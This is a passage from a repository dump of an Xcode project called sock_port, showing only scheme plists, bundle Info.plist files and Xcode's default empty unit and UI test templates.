sock_port.xcodeproj/xcuserdata/jakejames.xcuserdatad/xcschemes/xcschememanagement.plist ================================================ SchemeUserState socket_free.xcscheme orderHint 0 ================================================ FILE: sock_port.xcodeproj/xcuserdata/pwn20wnd.xcuserdatad/xcschemes/xcschememanagement.plist ================================================ SchemeUserState sock_port.xcscheme_^#shared#^_ orderHint 0 SuppressBuildableAutocreation 82F179EB22DF4ED700231F8C primary 82F17A0322DF4ED800231F8C primary 82F17A0E22DF4ED800231F8C primary ================================================ FILE: sock_port_UITests/Info.plist ================================================ CFBundleDevelopmentRegion $(DEVELOPMENT_LANGUAGE) CFBundleExecutable $(EXECUTABLE_NAME) CFBundleIdentifier $(PRODUCT_BUNDLE_IDENTIFIER) CFBundleInfoDictionaryVersion 6.0 CFBundleName $(PRODUCT_NAME) CFBundlePackageType BNDL CFBundleShortVersionString 1.0 CFBundleVersion 1 ================================================ FILE: sock_port_UITests/socket_freeUITests.m ================================================ // // sock_portUITests.m // sock_portUITests // // Created by Jake James on 7/17/19. // Copyright © 2019 Jake James. All rights reserved. // #import @interface sock_portUITests : XCTestCase @end @implementation sock_portUITests - (void)setUp { [super setUp]; // Put setup code here. This method is called before the invocation of each test method in the class. // In UI tests it is usually best to stop immediately when a failure occurs. self.continueAfterFailure = NO; // UI tests must launch the application that they test. Doing this in setup will make sure it happens for each test method. [[[XCUIApplication alloc] init] launch]; // In UI tests it’s important to set the initial state - such as interface orientation - required for your tests before they run. The setUp method is a good place to do this. } - (void)tearDown { // Put teardown code here. This method is called after the invocation of each test method in the class. [super tearDown]; } - (void)testExample { // Use recording to get started writing UI tests. // Use XCTAssert and related functions to verify your tests produce the correct results. } @end ================================================ FILE: sock_port_tests/Info.plist ================================================ CFBundleDevelopmentRegion $(DEVELOPMENT_LANGUAGE) CFBundleExecutable $(EXECUTABLE_NAME) CFBundleIdentifier $(PRODUCT_BUNDLE_IDENTIFIER) CFBundleInfoDictionaryVersion 6.0 CFBundleName $(PRODUCT_NAME) CFBundlePackageType BNDL CFBundleShortVersionString 1.0 CFBundleVersion 1 ================================================ FILE: sock_port_tests/socket_freeTests.m ================================================ // // sock_portTests.m // sock_portTests // // Created by Jake James on 7/17/19. // Copyright © 2019 Jake James. All rights reserved. // #import @interface sock_portTests : XCTestCase @end @implementation sock_portTests - (void)setUp { [super setUp]; // Put setup code here. This method is called before the invocation of each test method in the class. } - (void)tearDown { // Put teardown code here. This method is called after the invocation of each test method in the class. [super tearDown]; } - (void)testExample { // This is an example of a functional test case. // Use XCTAssert and related functions to verify your tests produce the correct results. } - (void)testPerformanceExample { // This is an example of a performance test case. [self measureBlock:^{ // Put the code you want to measure the time of here. }]; } @end